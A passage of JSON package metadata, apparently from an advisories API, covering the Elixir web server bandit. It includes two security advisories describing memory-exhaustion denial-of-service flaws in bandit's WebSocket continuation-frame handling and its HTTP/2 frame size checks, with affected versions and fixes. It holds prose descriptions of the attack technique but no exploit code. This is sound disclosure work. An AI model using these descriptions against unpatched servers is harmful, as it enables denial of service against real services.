unauthenticated remote denial of service via memory exhaustion.\n\nThe fragment reassembly path in 'Elixir.Bandit.WebSocket.Connection':handle\\_frame/3 in lib/bandit/websocket/connection.ex appends every incoming Continuation{fin: false} frame's payload to a per-connection iolist with no cumulative size cap. The existing max\\_frame\\_size option only bounds individual frames; a peer that streams an unbounded number of continuation frames without ever setting fin=1 grows BEAM heap linearly until the OS or a supervisor kills the process.\n\nBecause the accumulation happens before WebSock.handle\\_in/2 is called, the application has no opportunity to interpose a size check. Phoenix Channels and LiveView both run over WebSock on Bandit, so a stock Phoenix application exposes this surface as soon as it accepts socket connections.\n\nThis issue affects bandit: from 0.5.0 before 1.11.0.\n\n## Configuration\n\nThe application must accept WebSocket connections. Applications that expose no WebSocket endpoints are not affected.","origin":"ERLEF","severity":"HIGH","published_at":"2026-05-01T20:34:17.014Z","withdrawn_at":null,"classification":null,"cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/mtrudel/bandit/security/advisories/GHSA-pf94-94m9-536p","https://cna.erlef.org/cves/CVE-2026-42786.html","https://github.com/mtrudel/bandit/commit/21612c7c7b1ce43eccd36d3af3a2299d23513667","https://hex.pm/packages/bandit"],"source_kind":"erlef","identifiers":["EEF-CVE-2026-42786","GHSA-pf94-94m9-536p","CVE-2026-42786"],"repository_url":"https://github.com/mtrudel/bandit","blast_radius":15.886850783497188,"created_at":"2026-05-01T21:15:41.561Z","updated_at":"2026-05-27T15:41:06.211Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/EEF-CVE-2026-42786","html_url":"https://advisories.ecosyste.ms/advisories/EEF-CVE-2026-42786","packages":[{"ecosystem":"hex","package_name":"bandit","versions":[{"first_patched_version":"1.11.0","vulnerable_version_range":"\u003e= 0.5.0, \u003c 1.11.0"}],"purl":null,"statistics":{"dependent_packages_count":28,"dependent_repos_count":67,"downloads":12603807,"downloads_period":"total"},"affected_versions":["0.5.0","0.5.1","0.5.2","0.5.3","0.5.4","0.5.5","0.5.6","0.5.7","0.5.8","0.5.9","0.5.10","0.5.11","0.6.0","0.6.1","0.6.2","0.6.3","0.6.4","0.6.5","0.6.6","0.6.7","0.6.8","0.6.9","0.6.10","0.6.11","0.7.0","0.7.1","0.7.2","0.7.3","0.7.4","0.7.5","0.7.6","0.7.7","1.0.0","1.0.0-pre.1","1.0.0-pre.2","1.0.0-pre.3","1.0.0-pre.4","1.0.0-pre.5","1.0.0-pre.6","1.0.0-pre.7","1.0.0-pre.8","1.0.0-pre.9","1.0.0-pre.10","1.0.0-pre.11","1.0.0-pre.12","1.0.0-pre.13","1.0.0-pre.14","1.0.0-pre.15","1.0.0-pre.16","1.0.0-pre.17","1.0.0-pre.18","1.1.0","1.1.1","1.1.2","1.1.3","1.2.0","1.2.1","1.2.2","1.2.3","1.3.0","1.4.0","1.4.1","1.4.2","1.5.0","1.5.1","1.5.2","1.5.3","1.5.4","1.5.5","1.5.6","1.5.7","1.6.0","1.6.1","1.6.2","1.6.3","1.6.4","1.6.5","1.6.6","1.6.7","1.6.8","1.6.9","1.6.10","1.6.11","1.7.0","1.8.0","1.9.0","1.10.0","1.10.1","1.10.2","1.10.3","1.10.4"],"unaffected_versions":["0.1.0","0.1.1","0.2.0","0.2.1","0.2.2","0.2.3","0.3.2","0.3.3","0.3.4","0.3.5","0.3.6","0.3.7","0.3.8","0.3.9","0.4.0","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4.7","0.4.8","0.4.9","0.4.10","1.11.0","1.11.1","1.12.0","1.12.1","1.12.2","1.12.3"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/EEF-CVE-2026-42786/related_packages","related_advisories":[{"uuid":"GSA_kwCzR0hTQS1wZjk0LTk0bTktNTM2cM4ABWYE","source_kind":"github","url":"https://github.com/advisories/GHSA-pf94-94m9-536p"}]},{"uuid":"EEF-CVE-2026-42788","url":"https://github.com/mtrudel/bandit/security/advisories/GHSA-q6v9-r226-v65f","title":"HTTP/2 frame size limit checked after body is buffered in bandit","description":"## Summary\n\nAllocation of Resources Without Limits or Throttling vulnerability in mtrudel bandit allows unauthenticated memory exhaustion via oversized HTTP/2 frames.\n\n'Elixir.Bandit.HTTP2.Frame':deserialize/2 in lib/bandit/http2/frame.ex checks the SETTINGS\\_MAX\\_FRAME\\_SIZE limit only after pattern-matching payload::binary-size(length), which requires the entire frame body to be present in memory before either the accept or reject clause can fire. A peer that announces a frame length up to the 24-bit maximum (~16 MiB) causes the server to buffer that entire body before the size guard is evaluated, regardless of the max\\_frame\\_size negotiated during the HTTP/2 handshake (default 16 KiB per RFC 9113).\n\nAn unauthenticated attacker holding many concurrent connections can force the server to buffer far more memory than the negotiated frame size limit should permit, leading to memory pressure and potential denial of service.\n\nThis issue affects bandit: from 0.3.6 before 1.11.0.","origin":"ERLEF","severity":"MEDIUM","published_at":"2026-05-01T20:34:11.911Z","withdrawn_at":null,"classification":null,"cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/mtrudel/bandit/security/advisories/GHSA-q6v9-r226-v65f","https://cna.erlef.org/cves/CVE-2026-42788.html","https://github.com/mtrudel/bandit/commit/1e8e55966da9129016b73d32f0e1df4630e3b463","https://hex.pm/packages/bandit"],"source_kind":"erlef","identifiers":["EEF-CVE-2026-42788","GHSA-q6v9-r226-v65f","CVE-2026-42788"],"repository_url":"https://github.com/mtrudel/bandit","blast_radius":12.599916138635702,"created_at":"2026-05-01T21:15:41.608Z","updated_at":"2026-05-27T15:40:29.557Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/EEF-CVE-2026-42788","html_url":"https://advisories.ecosyste.ms/advisories/EEF-CVE-2026-42788","packages":[{"ecosystem":"hex","package_name":"bandit","versions":[{"first_patched_version":"1.11.0","vulnerable_version_range":"\u003e= 0.3.6, \u003c 1.11.0"}],"purl":null,"statistics":{"dependent_packages_count":28,"dependent_repos_count":67,"downloads":12603807,"downloads_period":"total"},"affected_versions":["0.3.6","0.3.7","0.3.8","0.3.9","0.4.0","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4.7","0.4.8","0.4.9","0.4.10","0.5.0","0.5.1","0.5.2","0.5.3","0.5.4","0.5.5","0.5.6","0.5.7","0.5.8","0.5.9","0.5.10","0.5.11","0.6.0","0.6.1","0.6.2","0.6.3","0.6.4","0.6.5","0.6.6","0.6.7","0.6.8","0.6.9","0.6.10","0.6.11","0.7.0","0.7.1","0.7.2","0.7.3","0.7.4","0.7.5","0.7.6","0.7.7","1.0.0","1.0.0-pre.1","1.0.0-pre.2","1.0.0-pre.3","1.0.0-pre.4","1.0.0-pre.5","1.0.0-pre.6","1.0.0-pre.7","1.0.0-pre.8","1.0.0-pre.9","1.0.0-pre.10","1.0.0-pre.11","1.0.0-pre.12","1.0.0-pre.13","1.0.0-pre.14","1.0.0-pre.15","1.0.0-pre.16","1.0.0-pre.17","1.0.0-pre.18","1.1.0","1.1.1","1.1.2","1.1.3","1.2.0","1.2.1","1.2.2","1.2.3","1.3.0","1.4.0","1.4.1","1.4.2","1.5.0","1.5.1","1.5.2","1.5.3","1.5.4","1.5.5","1.5.6","1.5.7","1.6.0","1.6.1","1.6.2","1.6.3","1.6.4","1.6.5","1.6.6","1.6.7","1.6.8","1.6.9","1.6.10","1.6.11","1.7.0","1.8.0","1.9.0","1.10.0","1.10.1","1.10.2","1.10.3","1.10.4"],"unaffected_versions":["0.1.0","0.1.1","0.2.0","0.2.1","0.2.2","0.2.3","0.3.2","0.3.3","0.3.4","0.3.5","1.11.0","1.11.1","1.12.0","1.12.1","1.12.2","1.12.3"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/EEF-CVE-2026-42788/related_packages","related_advisories":[{"uuid":"GSA_kwCzR0hTQS1xNnY5LXIyMjYtdjY1Zs4ABWYH","source_kind":"github","url":"https://github.com/advisories/GHSA-q6v9-r226-v65f"}]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/hex/bandit","docker_dependents_count":1,"docker_downloads_count":229927,"usage_url":"https://repos.ecosyste.ms/usage/hex/bandit","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/hex/bandit/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2023-12-06T15:53:18.794Z","issues_count":76,"pull_requests_count":151,"avg_time_to_close_issue":3081372.4383561644,"avg_time_to_close_pull_request":159860.64,"issues_closed_count":73,"pull_requests_closed_count":150,"pull_request_authors_count":21,"issue_authors_count":60,"avg_comments_per_issue":4.75,"avg_comments_per_pull_request":2.066225165562914,"merged_pull_requests_count":133,"bot_issues_count":0,"bot_pull_requests_count":40,"past_year_issues_count":67,"past_year_pull_requests_count":135,"past_year_avg_time_to_close_issue":720569.6515151515,"past_year_avg_time_to_close_pull_request":155600.1343283582,"past_year_issues_closed_count":66,"past_year_pull_requests_closed_count":134,"past_year_pull_request_authors_count":21,"past_year_issue_authors_count":60,"past_year_avg_comments_per_issue":4.925373134328358,"past_year_avg_comments_per_pull_request":1.9333333333333333,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":40,"past_year_merged_pull_requests_count":118,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/issues"},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/hex.pm/packages/bandit/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/hex.pm/packages/bandit/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/hex.pm/packages/bandit/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/hex.pm/packages/bandit/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/hex.pm/packages/bandit/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/hex.pm/packages/bandit/codemeta","maintainers":[{"uuid":"mtrudel","login":"mtrudel","name":null,"email":"mat@geeky.net","url":null,"packages_count":12,"html_url":"https://hex.pm/users/mtrudel","role":null,"created_at":"2022-11-08T09:13:11.853Z","updated_at":"2022-11-08T09:13:11.853Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/hex.pm/maintainers/mtrudel/packages"},{"uuid":"chrismccord","login":"chrismccord","name":null,"email":"chris@chrismccord.com","url":null,"packages_count":33,"html_url":"https://hex.pm/users/chrismccord","role":null,"created_at":"2026-02-15T06:16:32.246Z","updated_at":"2026-02-15T06:16:32.246Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/hex.pm/maintainers/chrismccord/packages"}]}